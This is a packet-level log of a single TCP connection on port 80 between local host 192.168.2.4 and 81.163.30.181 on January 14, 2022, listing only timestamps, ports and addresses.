Jan 14, 2022 20:29:59.009022951 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.009051085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009111881 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.009118080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009166956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009206057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009217024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.009244919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009284973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009296894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.009325027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009362936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009373903 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.009402037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009440899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009452105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.009478092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009517908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009557009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009567976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.009597063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009608984 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.009635925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009695053 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.009706974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009744883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009785891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009800911 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.009825945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009888887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009888887 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.009927034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009967089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009978056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.010005951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.010045052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.010056973 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.010085106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.010124922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.010137081 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.010165930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.010214090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.010220051 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.010273933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.010318995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.010334015 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.010358095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.010409117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.010463953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.068650961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.068761110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.068794966 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.068802118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.068851948 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.068933964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069024086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069072008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.069091082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069154978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069196939 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.069252968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069334030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069377899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.069395065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069463968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069504976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.069534063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069602966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069648981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.069674969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069715023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069755077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069756031 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.069791079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069829941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069830894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.069897890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069937944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.069941998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.069974899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070013046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070017099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.070051908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070091009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070092916 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.070130110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070168972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070172071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.070207119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070245981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070250034 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.070282936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070322037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070327997 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.070359945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070400000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070400000 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.070440054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070477009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070480108 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.070524931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070569992 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.070570946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070609093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070647955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070650101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.070686102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070724964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070728064 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.070766926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070802927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070807934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.070842028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070882082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070883989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.070918083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070957899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.070960999 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.070997000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071060896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071082115 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.071100950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071137905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071145058 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.071180105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071221113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071239948 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.071258068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071296930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071299076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.071336031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071372986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071377039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.071412086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071449995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071469069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.071491003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071531057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071558952 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.071568012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071607113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071619987 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.071645975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071682930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071693897 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.071721077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071759939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071770906 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.071799040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071841002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071852922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.071877956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071917057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071934938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.071955919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.071994066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072005033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.072032928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072072029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072110891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072120905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.072151899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072155952 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.072190046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072227955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072235107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.072267056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072310925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072324038 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.072350025 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072387934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072396040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.072446108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072485924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072493076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.072525024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072561979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072572947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.072602034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072639942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072649956 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.072679043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072717905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072722912 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.072756052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072794914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072802067 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.072834015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072870970 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072880030 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.072910070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072948933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.072956085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.072984934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.073024988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.073030949 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.073062897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.073101997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.073112011 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.131256104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.131371021 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.131423950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.131509066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.131588936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.131589890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.131772041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.131838083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.131865978 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.131973028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132040024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.132045031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132175922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132240057 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.132246971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132330894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132370949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132410049 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.132411003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132448912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132467031 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.132488966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132527113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132546902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.132566929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132606983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132647038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132652044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.132685900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132709026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.132725000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132762909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132786036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.132802010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132841110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132864952 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.132880926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132921934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132944107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.132958889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.132998943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133019924 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.133037090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133074999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133105040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.133126974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133167982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133183956 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.133207083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133248091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133275032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.133285046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133325100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133341074 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.133364916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133402109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133424044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.133441925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133481026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133511066 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.133519888 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133559942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133580923 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.133599043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133637905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133655071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.133677006 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133714914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133735895 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.133753061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133794069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133811951 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.133833885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133905888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.133915901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133961916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.133999109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134028912 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.134040117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134079933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134104967 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.134118080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134165049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134179115 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.134203911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134244919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134278059 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.134284973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134322882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134347916 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.134362936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134402990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134428024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.134440899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134480000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134500980 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.134520054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134560108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134582996 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.134599924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134638071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134660006 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.134677887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134716988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134737968 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.134754896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134794950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134814024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.134833097 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134872913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134896040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.134912968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134951115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.134974003 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.134990931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135030031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135049105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.135067940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135107994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135123014 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.135147095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135188103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135215998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.135227919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135265112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135294914 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.135304928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135343075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135363102 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.135380983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135420084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135440111 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.135457993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135497093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135514021 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.135538101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135575056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135593891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.135612965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135652065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.135675907 CET	49882	80	192.168.2.4	81.163.30.181
